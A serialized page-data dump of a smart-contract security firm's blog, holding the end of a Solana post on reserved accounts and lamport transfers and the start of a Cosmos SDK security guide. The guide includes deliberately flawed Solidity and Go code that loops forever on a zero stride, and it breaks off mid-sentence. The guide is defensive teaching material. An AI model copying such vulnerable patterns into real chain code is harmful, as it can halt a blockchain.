feature_set",{"type":24,"tag":271,"props":82439,"children":82440},{"style":624},[82441],{"type":29,"value":11207},{"type":24,"tag":271,"props":82443,"children":82444},{"style":288},[82445],{"type":29,"value":82446},"enable_secp256r1_precompile",{"type":24,"tag":271,"props":82448,"children":82449},{"style":624},[82450],{"type":29,"value":11207},{"type":24,"tag":271,"props":82452,"children":82453},{"style":598},[82454],{"type":29,"value":11212},{"type":24,"tag":271,"props":82456,"children":82457},{"style":288},[82458],{"type":29,"value":11217},{"type":24,"tag":271,"props":82460,"children":82461},{"class":273,"line":303},[82462],{"type":24,"tag":271,"props":82463,"children":82464},{"style":288},[82465],{"type":29,"value":694},{"type":24,"tag":25,"props":82467,"children":82468},{},[82469,82471,82476,82478,82484],{"type":29,"value":82470},"Before the ",{"type":24,"tag":135,"props":82472,"children":82474},{"className":82473},[],[82475],{"type":29,"value":82446},{"type":29,"value":82477}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":24,"tag":135,"props":82479,"children":82481},{"className":82480},[],[82482],{"type":29,"value":82483},"secp256r1_program::id()",{"type":29,"value":82485}," as the king in a contract.",{"type":24,"tag":25,"props":82487,"children":82488},{},[82489,82491,82496],{"type":29,"value":82490},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":24,"tag":135,"props":82492,"children":82494},{"className":82493},[],[82495],{"type":29,"value":82483},{"type":29,"value":82497}," becomes the eternal king, and no one can dethrone it.",{"type":24,"tag":26585,"props":82499,"children":82501},{"id":82500},"fix-3-preventing-write-demotion-pitfalls",[82502],{"type":29,"value":82503},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":24,"tag":25,"props":82505,"children":82506},{},[82507,82509,82514],{"type":29,"value":82508},"Alright, let’s try to fix this ",{"type":24,"tag":10648,"props":82510,"children":82511},{},[82512],{"type":29,"value":82513},"yet another",{"type":29,"value":82515}," edge case — and hopefully close the book on it.",{"type":24,"tag":26585,"props":82517,"children":82519},{"id":82518},"attempt-1-block-known-reserved-accounts",[82520],{"type":29,"value":82521},"Attempt 1: Block Known Reserved Accounts",{"type":24,"tag":25,"props":82523,"children":82524},{},[82525],{"type":29,"value":82526},"One naive solution is to reject any known reserved account, for example:",{"type":24,"tag":261,"props":82528,"children":82530},{"className":263,"code":82529,"language":265,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[82531],{"type":24,"tag":135,"props":82532,"children":82533},{"__ignoreMap":7},[82534,82542],{"type":24,"tag":271,"props":82535,"children":82536},{"class":273,"line":274},[82537],{"type":24,"tag":271,"props":82538,"children":82539},{"style":288},[82540],{"type":29,"value":82541}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":24,"tag":271,"props":82543,"children":82544},{"class":273,"line":284},[82545],{"type":24,"tag":271,"props":82546,"children":82547},{"style":477},[82548],{"type":29,"value":82549},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":24,"tag":25,"props":82551,"children":82552},{},[82553,82555,82560],{"type":29,"value":82554},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":24,"tag":135,"props":82556,"children":82558},{"className":82557},[],[82559],{"type":29,"value":82396},{"type":29,"value":82561}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":24,"tag":26585,"props":82563,"children":82565},{"id":82564},"attempt-2-use-a-pda-vault",[82566],{"type":29,"value":82567},"Attempt 2: Use a PDA Vault",{"type":24,"tag":25,"props":82569,"children":82570},{},[82571,82573,82578],{"type":29,"value":82572},"A more future-proof fix is to avoid ",{"type":24,"tag":213,"props":82574,"children":82575},{},[82576],{"type":29,"value":82577},"transferring lamports to arbitrary accounts",{"type":29,"value":82579}," altogether.",{"type":24,"tag":25,"props":82581,"children":82582},{},[82583],{"type":29,"value":82584},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":24,"tag":62,"props":82586,"children":82588},{"id":82587},"final-thoughts",[82589],{"type":29,"value":82590},"Final Thoughts",{"type":24,"tag":25,"props":82592,"children":82593},{},[82594],{"type":29,"value":82595},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":24,"tag":25,"props":82597,"children":82598},{},[82599],{"type":29,"value":82600},"We can safely transfer lamports to an account under the following conditions:",{"type":24,"tag":97,"props":82602,"children":82603},{},[82604,82609,82614],{"type":24,"tag":101,"props":82605,"children":82606},{},[82607],{"type":29,"value":82608},"It's not executable.",{"type":24,"tag":101,"props":82610,"children":82611},{},[82612],{"type":29,"value":82613},"Its balance, after the transfer, remains rent-exempt.",{"type":24,"tag":101,"props":82615,"children":82616},{},[82617],{"type":29,"value":82618},"It's not a reserved account.",{"type":24,"tag":25,"props":82620,"children":82621},{},[82622],{"type":29,"value":82623},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":24,"tag":10562,"props":82625,"children":82626},{},[82627],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":82629},[82630,82631,82632,82638],{"id":36692,"depth":284,"text":36695},{"id":78012,"depth":284,"text":78015},{"id":79119,"depth":284,"text":79122,"children":82633},[82634,82635,82637],{"id":79125,"depth":294,"text":79128},{"id":79812,"depth":294,"text":82636},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":81117,"depth":294,"text":81120},{"id":82587,"depth":284,"text":82590},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":82643,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":82644,"description":82645,"date":82646,"author":82647,"image":82648,"isFeatured":16,"onBlogPage":16,"tags":82650,"body":82653,"_type":10599,"_id":96538,"_source":10601,"_file":96539,"_stem":96540,"_extension":10604},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":82649,"width":21324,"height":21324},"/posts/cosmos-security/title.png",[82651,82652],"cosmos-sdk","security",{"type":21,"children":82654,"toc":96516},[82655,82659,82664,82669,82675,82680,82685,82690,82951,83440,83459,83464,83469,83474,83480,83485,83520,83530,84037,84057,84070,84076,84081,84086,84327,84332,84340,84352,84714,84719,84724,84760,84769,85195,85216,85222,85242,85263,85282,85314,85326,85338,85992,86020,86029,86469,86496,86516,86521,86542,86591,86600,87832,87860,87866,87871,87876,87896,88183,88217,88398,88403,88408,88452,88461,89653,89904,89917,89923,89957,89962,90025,90030,90050,90069,90081,90100,90792,90797,90802,90830,90839,91724,91751,91757,91777,91782,91795,91969,91982,92073,92078,92086,92096,92246,92251,92271,92279,92284,92682,92694,92699,92740,92751,92771,93079,93084,94009,94021,94029,94034,95027,95032,95044,95064,95083,95997,96054,96160,96172,96177,96182,96210,96219,96445,96471,96484,96498,96502,96507,96512],{"type":24,"tag":62,"props":82656,"children":82657},{"id":36692},[82658],{"type":29,"value":36695},{"type":24,"tag":25,"props":82660,"children":82661},{},[82662],{"type":29,"value":82663},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":24,"tag":25,"props":82665,"children":82666},{},[82667],{"type":29,"value":82668},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":24,"tag":62,"props":82670,"children":82672},{"id":82671},"its-loopin-time",[82673],{"type":29,"value":82674},"It's Loopin' Time",{"type":24,"tag":25,"props":82676,"children":82677},{},[82678],{"type":29,"value":82679},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":24,"tag":25,"props":82681,"children":82682},{},[82683],{"type":29,"value":82684},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":24,"tag":25,"props":82686,"children":82687},{},[82688],{"type":29,"value":82689},"Here is a simple example for reference:",{"type":24,"tag":261,"props":82691,"children":82693},{"code":82692,"language":12192,"meta":7,"className":12193,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[82694],{"type":24,"tag":135,"props":82695,"children":82696},{"__ignoreMap":7},[82697,82713,82730,82746,82768,82797,82818,82842,82863,82870,82891,82908,82925,82932,82944],{"type":24,"tag":271,"props":82698,"children":82699},{"class":273,"line":274},[82700,82704,82709],{"type":24,"tag":271,"props":82701,"children":82702},{"style":278},[82703],{"type":29,"value":39052},{"type":24,"tag":271,"props":82705,"children":82706},{"style":598},[82707],{"type":29,"value":82708}," sumWithStride",{"type":24,"tag":271,"props":82710,"children":82711},{"style":288},[82712],{"type":29,"value":4028},{"type":24,"tag":271,"props":82714,"children":82715},{"class":273,"line":284},[82716,82721,82726],{"type":24,"tag":271,"props":82717,"children":82718},{"style":3887},[82719],{"type":29,"value":82720}," uint64",{"type":24,"tag":271,"props":82722,"children":82723},{"style":630},[82724],{"type":29,"value":82725}," start",{"type":24,"tag":271,"props":82727,"children":82728},{"style":288},[82729],{"type":29,"value":638},{"type":24,"tag":271,"props":82731,"children":82732},{"class":273,"line":294},[82733,82737,82742],{"type":24,"tag":271,"props":82734,"children":82735},{"style":3887},[82736],{"type":29,"value":82720},{"type":24,"tag":271,"props":82738,"children":82739},{"style":630},[82740],{"type":29,"value":82741}," stride",{"type":24,"tag":271,"props":82743,"children":82744},{"style":288},[82745],{"type":29,"value":638},{"type":24,"tag":271,"props":82747,"children":82748},{"class":273,"line":303},[82749,82753,82758,82763],{"type":24,"tag":271,"props":82750,"children":82751},{"style":3887},[82752],{"type":29,"value":82720},{"type":24,"tag":271,"props":82754,"children":82755},{"style":288},[82756],{"type":29,"value":82757},"[] ",{"type":24,"tag":271,"props":82759,"children":82760},{"style":278},[82761],{"type":29,"value":82762},"memory",{"type":24,"tag":271,"props":82764,"children":82765},{"style":630},[82766],{"type":29,"value":82767}," arr\n",{"type":24,"tag":271,"props":82769,"children":82770},{"class":273,"line":312},[82771,82775,82779,82784,82788,82793],{"type":24,"tag":271,"props":82772,"children":82773},{"style":288},[82774],{"type":29,"value":8823},{"type":24,"tag":271,"props":82776,"children":82777},{"style":278},[82778],{"type":29,"value":68461},{"type":24,"tag":271,"props":82780,"children":82781},{"style":749},[82782],{"type":29,"value":82783}," returns",{"type":24,"tag":271,"props":82785,"children":82786},{"style":288},[82787],{"type":29,"value":1357},{"type":24,"tag":271,"props":82789,"children":82790},{"style":3887},[82791],{"type":29,"value":82792},"uint64",{"type":24,"tag":271,"props":82794,"children":82795},{"style":288},[82796],{"type":29,"value":919},{"type":24,"tag":271,"props":82798,"children":82799},{"class":273,"line":321},[82800,82804,82809,82813],{"type":24,"tag":271,"props":82801,"children":82802},{"style":3887},[82803],{"type":29,"value":82720},{"type":24,"tag":271,"props":82805,"children":82806},{"style":288},[82807],{"type":29,"value":82808}," idx ",{"type":24,"tag":271,"props":82810,"children":82811},{"style":624},[82812],{"type":29,"value":762},{"type":24,"tag":271,"props":82814,"children":82815},{"style":288},[82816],{"type":29,"value":82817}," start;\n",{"type":24,"tag":271,"props":82819,"children":82820},{"class":273,"line":330},[82821,82825,82830,82834,82838],{"type":24,"tag":271,"props":82822,"children":82823},{"style":3887},[82824],{"type":29,"value":82720},{"type":24,"tag":271,"props":82826,"children":82827},{"style":288},[82828],{"type":29,"value":82829}," sum ",{"type":24,"tag":271,"props":82831,"children":82832},{"style":624},[82833],{"type":29,"value":762},{"type":24,"tag":271,"props":82835,"children":82836},{"style":477},[82837],{"type":29,"value":767},{"type":24,"tag":271,"props":82839,"children":82840},{"style":288},[82841],{"type":29,"value":1069},{"type":24,"tag":271,"props":82843,"children":82844},{"class":273,"line":339},[82845,82849,82854,82858],{"type":24,"tag":271,"props":82846,"children":82847},{"style":3887},[82848],{"type":29,"value":82720},{"type":24,"tag":271,"props":82850,"children":82851},{"style":288},[82852],{"type":29,"value":82853}," end ",{"type":24,"tag":271,"props":82855,"children":82856},{"style":624},[82857],{"type":29,"value":762},{"type":24,"tag":271,"props":82859,"children":82860},{"style":288},[82861],{"type":29,"value":82862}," arr.length;\n",{"type":24,"tag":271,"props":82864,"children":82865},{"class":273,"line":347},[82866],{"type":24,"tag":271,"props":82867,"children":82868},{"emptyLinePlaceholder":16},[82869],{"type":29,"value":327},{"type":24,"tag":271,"props":82871,"children":82872},{"class":273,"line":356},[82873,82877,82882,82886],{"type":24,"tag":271,"props":82874,"children":82875},{"style":749},[82876],{"type":29,"value":71160},{"type":24,"tag":271,"props":82878,"children":82879},{"style":288},[82880],{"type":29,"value":82881}," (idx ",{"type":24,"tag":271,"props":82883,"children":82884},{"style":624},[82885],{"type":29,"value":801},{"type":24,"tag":271,"props":82887,"children":82888},{"style":288},[82889],{"type":29,"value":82890}," end) {\n",{"type":24,"tag":271,"props":82892,"children":82893},{"class":273,"line":365},[82894,82899,82903],{"type":24,"tag":271,"props":82895,"children":82896},{"style":288},[82897],{"type":29,"value":82898}," sum ",{"type":24,"tag":271,"props":82900,"children":82901},{"style":624},[82902],{"type":29,"value":75225},{"type":24,"tag":271,"props":82904,"children":82905},{"style":288},[82906],{"type":29,"value":82907}," arr[idx];\n",{"type":24,"tag":271,"props":82909,"children":82910},{"class":273,"line":374},[82911,82916,82920],{"type":24,"tag":271,"props":82912,"children":82913},{"style":288},[82914],{"type":29,"value":82915}," idx ",{"type":24,"tag":271,"props":82917,"children":82918},{"style":624},[82919],{"type":29,"value":75225},{"type":24,"tag":271,"props":82921,"children":82922},{"style":288},[82923],{"type":29,"value":82924}," stride;\n",{"type":24,"tag":271,"props":82926,"children":82927},{"class":273,"line":384},[82928],{"type":24,"tag":271,"props":82929,"children":82930},{"style":288},[82931],{"type":29,"value":4385},{"type":24,"tag":271,"props":82933,"children":82934},{"class":273,"line":393},[82935,82939],{"type":24,"tag":271,"props":82936,"children":82937},{"style":749},[82938],{"type":29,"value":9640},{"type":24,"tag":271,"props":82940,"children":82941},{"style":288},[82942],{"type":29,"value":82943}," sum;\n",{"type":24,"tag":271,"props":82945,"children":82946},{"class":273,"line":402},[82947],{"type":24,"tag":271,"props":82948,"children":82949},{"style":288},[82950],{"type":29,"value":1171},{"type":24,"tag":261,"props":82952,"children":82956},{"code":82953,"language":82954,"meta":7,"className":82955,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[82957],{"type":24,"tag":135,"props":82958,"children":82959},{"__ignoreMap":7},[82960,82980,82993,83005,83023,83030,83037,83057,83069,83076,83083,83118,83144,83165,83194,83224,83269,83346,83382,83389,83433],{"type":24,"tag":271,"props":82961,"children":82962},{"class":273,"line":274},[82963,82967,82972,82976],{"type":24,"tag":271,"props":82964,"children":82965},{"style":278},[82966],{"type":29,"value":40427},{"type":24,"tag":271,"props":82968,"children":82969},{"style":3887},[82970],{"type":29,"value":82971}," MsgSumWithStrideParams",{"type":24,"tag":271,"props":82973,"children":82974},{"style":278},[82975],{"type":29,"value":616},{"type":24,"tag":271,"props":82977,"children":82978},{"style":288},[82979],{"type":29,"value":7145},{"type":24,"tag":271,"props":82981,"children":82982},{"class":273,"line":284},[82983,82988],{"type":24,"tag":271,"props":82984,"children":82985},{"style":630},[82986],{"type":29,"value":82987}," Start",{"type":24,"tag":271,"props":82989,"children":82990},{"style":3887},[82991],{"type":29,"value":82992}," uint64\n",{"type":24,"tag":271,"props":82994,"children":82995},{"class":273,"line":294},[82996,83001],{"type":24,"tag":271,"props":82997,"children":82998},{"style":630},[82999],{"type":29,"value":83000}," Stride",{"type":24,"tag":271,"props":83002,"children":83003},{"style":3887},[83004],{"type":29,"value":82992},{"type":24,"tag":271,"props":83006,"children":83007},{"class":273,"line":303},[83008,83013,83018],{"type":24,"tag":271,"props":83009,"children":83010},{"style":630},[83011],{"type":29,"value":83012}," Arr",{"type":24,"tag":271,"props":83014,"children":83015},{"style":288},[83016],{"type":29,"value":83017}," []",{"type":24,"tag":271,"props":83019,"children":83020},{"style":3887},[83021],{"type":29,"value":83022},"uint64\n",{"type":24,"tag":271,"props":83024,"children":83025},{"class":273,"line":312},[83026],{"type":24,"tag":271,"props":83027,"children":83028},{"style":288},[83029],{"type":29,"value":1171},{"type":24,"tag":271,"props":83031,"children":83032},{"class":273,"line":321},[83033],{"type":24,"tag":271,"props":83034,"children":83035},{"emptyLinePlaceholder":16},[83036],{"type":29,"value":327},{"type":24,"tag":271,"props":83038,"children":83039},{"class":273,"line":330},[83040,83044,83049,83053],{"type":24,"tag":271,"props":83041,"children":83042},{"style":278},[83043],{"type":29,"value":40427},{"type":24,"tag":271,"props":83045,"children":83046},{"style":3887},[83047],{"type":29,"value":83048}," MsgSumWithStrideResponse",{"type":24,"tag":271,"props":83050,"children":83051},{"style":278},[83052],{"type":29,"value":616},{"type":24,"tag":271,"props":83054,"children":83055},{"style":288},[83056],{"type":29,"value":7145},{"type":24,"tag":271,"props":83058,"children":83059},{"class":273,"line":339},[83060,83065],{"type":24,"tag":271,"props":83061,"children":83062},{"style":630},[83063],{"type":29,"value":83064}," Sum",{"type":24,"tag":271,"props":83066,"children":83067},{"style":3887},[83068],{"type":29,"value":82992},{"type":24,"tag":271,"props":83070,"children":83071},{"class":273,"line":347},[83072],{"type":24,"tag":271,"props":83073,"children":83074},{"style":288},[83075],{"type":29,"value":1171},{"type":24,"tag":271,"props":83077,"children":83078},{"class":273,"line":356},[83079],{"type":24,"tag":271,"props":83080,"children":83081},{"emptyLinePlaceholder":16},[83082],{"type":29,"value":327},{"type":24,"tag":271,"props":83084,"children":83085},{"class":273,"line":365},[83086,83091,83095,83100,83105,83109,83114],{"type":24,"tag":271,"props":83087,"children":83088},{"style":278},[83089],{"type":29,"value":83090},"func",{"type":24,"tag":271,"props":83092,"children":83093},{"style":288},[83094],{"type":29,"value":1357},{"type":24,"tag":271,"props":83096,"children":83097},{"style":630},[83098],{"type":29,"value":83099},"ms ",{"type":24,"tag":271,"props":83101,"children":83102},{"style":3887},[83103],{"type":29,"value":83104},"msgServer",{"type":24,"tag":271,"props":83106,"children":83107},{"style":288},[83108],{"type":29,"value":8823},{"type":24,"tag":271,"props":83110,"children":83111},{"style":598},[83112],{"type":29,"value":83113},"SumWithStride",{"type":24,"tag":271,"props":83115,"children":83116},{"style":288},[83117],{"type":29,"value":4028},{"type":24,"tag":271,"props":83119,"children":83120},{"class":273,"line":374},[83121,83126,83131,83135,83140],{"type":24,"tag":271,"props":83122,"children":83123},{"style":630},[83124],{"type":29,"value":83125}," goCtx",{"type":24,"tag":271,"props":83127,"children":83128},{"style":3887},[83129],{"type":29,"value":83130}," context",{"type":24,"tag":271,"props":83132,"children":83133},{"style":288},[83134],{"type":29,"value":41},{"type":24,"tag":271,"props":83136,"children":83137},{"style":3887},[83138],{"type":29,"value":83139},"Context",{"type":24,"tag":271,"props":83141,"children":83142},{"style":288},[83143],{"type":29,"value":638},{"type":24,"tag":271,"props":83145,"children":83146},{"class":273,"line":384},[83147,83152,83156,83161],{"type":24,"tag":271,"props":83148,"children":83149},{"style":630},[83150],{"type":29,"value":83151}," msg",{"type":24,"tag":271,"props":83153,"children":83154},{"style":624},[83155],{"type":29,"value":3895},{"type":24,"tag":271,"props":83157,"children":83158},{"style":3887},[83159],{"type":29,"value":83160},"MsgSumWithStrideParams",{"type":24,"tag":271,"props":83162,"children":83163},{"style":288},[83164],{"type":29,"value":638},{"type":24,"tag":271,"props":83166,"children":83167},{"class":273,"line":393},[83168,83173,83177,83182,83186,83190],{"type":24,"tag":271,"props":83169,"children":83170},{"style":288},[83171],{"type":29,"value":83172},") (",{"type":24,"tag":271,"props":83174,"children":83175},{"style":624},[83176],{"type":29,"value":627},{"type":24,"tag":271,"props":83178,"children":83179},{"style":3887},[83180],{"type":29,"value":83181},"MsgSumWithStrideResponse",{"type":24,"tag":271,"props":83183,"children":83184},{"style":288},[83185],{"type":29,"value":158},{"type":24,"tag":271,"props":83187,"children":83188},{"style":3887},[83189],{"type":29,"value":22561},{"type":24,"tag":271,"props":83191,"children":83192},{"style":288},[83193],{"type":29,"value":919},{"type":24,"tag":271,"props":83195,"children":83196},{"class":273,"line":402},[83197,83202,83207,83212,83216,83220],{"type":24,"tag":271,"props":83198,"children":83199},{"style":630},[83200],{"type":29,"value":83201}," sum",{"type":24,"tag":271,"props":83203,"children":83204},{"style":624},[83205],{"type":29,"value":83206}," :=",{"type":24,"tag":271,"props":83208,"children":83209},{"style":3887},[83210],{"type":29,"value":83211}," uint64",{"type":24,"tag":271,"props":83213,"children":83214},{"style":288},[83215],{"type":29,"value":606},{"type":24,"tag":271,"props":83217,"children":83218},{"style":477},[83219],{"type":29,"value":4121},{"type":24,"tag":271,"props":83221,"children":83222},{"style":288},[83223],{"type":29,"value":694},{"type":24,"tag":271,"props":83225,"children":83226},{"class":273,"line":411},[83227,83232,83236,83240,83244,83248,83252,83256,83260,83265],{"type":24,"tag":271,"props":83228,"children":83229},{"style":630},[83230],{"type":29,"value":83231}," end",{"type":24,"tag":271,"props":83233,"children":83234},{"style":624},[83235],{"type":29,"value":83206},{"type":24,"tag":271,"props":83237,"children":83238},{"style":3887},[83239],{"type":29,"value":83211},{"type":24,"tag":271,"props":83241,"children":83242},{"style":288},[83243],{"type":29,"value":606},{"type":24,"tag":271,"props":83245,"children":83246},{"style":598},[83247],{"type":29,"value":8335},{"type":24,"tag":271,"props":83249,"children":83250},{"style":288},[83251],{"type":29,"value":606},{"type":24,"tag":271,"props":83253,"children":83254},{"style":630},[83255],{"type":29,"value":7604},{"type":24,"tag":271,"props":83257,"children":83258},{"style":288},[83259],{"type":29,"value":41},{"type":24,"tag":271,"props":83261,"children":83262},{"style":630},[83263],{"type":29,"value":83264},"Arr",{"type":24,"tag":271,"props":83266,"children":83267},{"style":288},[83268],{"type":29,"value":27401},{"type":24,"tag":271,"props":83270,"children":83271},{"class":273,"line":420},[83272,83276,83281,83285,83290,83294,83299,83303,83308,83312,83317,83321,83325,83329,83333,83337,83342],{"type":24,"tag":271,"props":83273,"children":83274},{"style":749},[83275],{"type":29,"value":4149},{"type":24,"tag":271,"props":83277,"children":83278},{"style":630},[83279],{"type":29,"value":83280}," idx",{"type":24,"tag":271,"props":83282,"children":83283},{"style":624},[83284],{"type":29,"value":83206},{"type":24,"tag":271,"props":83286,"children":83287},{"style":630},[83288],{"type":29,"value":83289}," msg",{"type":24,"tag":271,"props":83291,"children":83292},{"style":288},[83293],{"type":29,"value":41},{"type":24,"tag":271,"props":83295,"children":83296},{"style":630},[83297],{"type":29,"value":83298},"Start",{"type":24,"tag":271,"props":83300,"children":83301},{"style":288},[83302],{"type":29,"value":24920},{"type":24,"tag":271,"props":83304,"children":83305},{"style":630},[83306],{"type":29,"value":83307},"idx",{"type":24,"tag":271,"props":83309,"children":83310},{"style":624},[83311],{"type":29,"value":16432},{"type":24,"tag":271,"props":83313,"children":83314},{"style":630},[83315],{"type":29,"value":83316}," end",{"type":24,"tag":271,"props":83318,"children":83319},{"style":288},[83320],{"type":29,"value":24920},{"type":24,"tag":271,"props":83322,"children":83323},{"style":630},[83324],{"type":29,"value":83307},{"type":24,"tag":271,"props":83326,"children":83327},{"style":624},[83328],{"type":29,"value":22762},{"type":24,"tag":271,"props":83330,"children":83331},{"style":630},[83332],{"type":29,"value":83289},{"type":24,"tag":271,"props":83334,"children":83335},{"style":288},[83336],{"type":29,"value":41},{"type":24,"tag":271,"props":83338,"children":83339},{"style":630},[83340],{"type":29,"value":83341},"Stride",{"type":24,"tag":271,"props":83343,"children":83344},{"style":288},[83345],{"type":29,"value":7145},{"type":24,"tag":271,"props":83347,"children":83348},{"class":273,"line":429},[83349,83354,83358,83362,83366,83370,83374,83378],{"type":24,"tag":271,"props":83350,"children":83351},{"style":630},[83352],{"type":29,"value":83353}," sum",{"type":24,"tag":271,"props":83355,"children":83356},{"style":624},[83357],{"type":29,"value":22762},{"type":24,"tag":271,"props":83359,"children":83360},{"style":630},[83361],{"type":29,"value":83289},{"type":24,"tag":271,"props":83363,"children":83364},{"style":288},[83365],{"type":29,"value":41},{"type":24,"tag":271,"props":83367,"children":83368},{"style":630},[83369],{"type":29,"value":83264},{"type":24,"tag":271,"props":83371,"children":83372},{"style":288},[83373],{"type":29,"value":4520},{"type":24,"tag":271,"props":83375,"children":83376},{"style":630},[83377],{"type":29,"value":83307},{"type":24,"tag":271,"props":83379,"children":83380},{"style":288},[83381],{"type":29,"value":19475},{"type":24,"tag":271,"props":83383,"children":83384},{"class":273,"line":438},[83385],{"type":24,"tag":271,"props":83386,"children":83387},{"style":288},[83388],{"type":29,"value":4385},{"type":24,"tag":271,"props":83390,"children":83391},{"class":273,"line":447},[83392,83396,83400,83404,83409,83414,83418,83423,83428],{"type":24,"tag":271,"props":83393,"children":83394},{"style":749},[83395],{"type":29,"value":9640},{"type":24,"tag":271,"props":83397,"children":83398},{"style":624},[83399],{"type":29,"value":14858},{"type":24,"tag":271,"props":83401,"children":83402},{"style":3887},[83403],{"type":29,"value":83181},{"type":24,"tag":271,"props":83405,"children":83406},{"style":288},[83407],{"type":29,"value":83408},"{",{"type":24,"tag":271,"props":83410,"children":83411},{"style":630},[83412],{"type":29,"value":83413},"Sum",{"type":24,"tag":271,"props":83415,"children":83416},{"style":288},[83417],{"type":29,"value":23028},{"type":24,"tag":271,"props":83419,"children":83420},{"style":630},[83421],{"type":29,"value":83422},"sum",{"type":24,"tag":271,"props":83424,"children":83425},{"style":288},[83426],{"type":29,"value":83427},"}, ",{"type":24,"tag":271,"props":83429,"children":83430},{"style":278},[83431],{"type":29,"value":83432},"nil\n",{"type":24,"tag":271,"props":83434,"children":83435},{"class":273,"line":455},[83436],{"type":24,"tag":271,"props":83437,"children":83438},{"style":288},[83439],{"type":29,"value":1171},{"type":24,"tag":25,"props":83441,"children":83442},{},[83443,83445,83450,83451,83457],{"type":29,"value":83444},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":24,"tag":135,"props":83446,"children":83448},{"className":83447},[],[83449],{"type":29,"value":83307},{"type":29,"value":15030},{"type":24,"tag":135,"props":83452,"children":83454},{"className":83453},[],[83455],{"type":29,"value":83456},"stride",{"type":29,"value":83458},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":24,"tag":25,"props":83460,"children":83461},{},[83462],{"type":29,"value":83463},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":24,"tag":25,"props":83465,"children":83466},{},[83467],{"type":29,"value":83468},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":24,"tag":25,"props":83470,"children":83471},{},[83472],{"type":29,"value":83473},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":24,"tag":85,"props":83475,"children":83477},{"id":83476},"real-world-examples",[83478],{"type":29,"value":83479},"Real-World Examples",{"type":24,"tag":25,"props":83481,"children":83482},{},[83483],{"type":29,"value":83484},"Now, let's examine a few real-world instances.",{"type":24,"tag":25,"props":83486,"children":83487},{},[83488,83490,83496,83497,83503,83505,83511,83513,83519],{"type":29,"value":83489},"In the case of ",{"type":24,"tag":32,"props":83491,"children":83494},{"href":83492,"rel":83493},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[36],[83495],{"type":29,"value":25385},{"type":29,"value":3360},{"type":24,"tag":135,"props":83498,"children":83500},{"className":83499},[],[83501],{"type":29,"value":83502},"CosmWasm",{"type":29,"value":83504}," bug, the helper method ",{"type":24,"tag":135,"props":83506,"children":83508},{"className":83507},[],[83509],{"type":29,"value":83510},"write_to_contract",{"type":29,"value":83512}," negligently calls the untrusted Wasm function 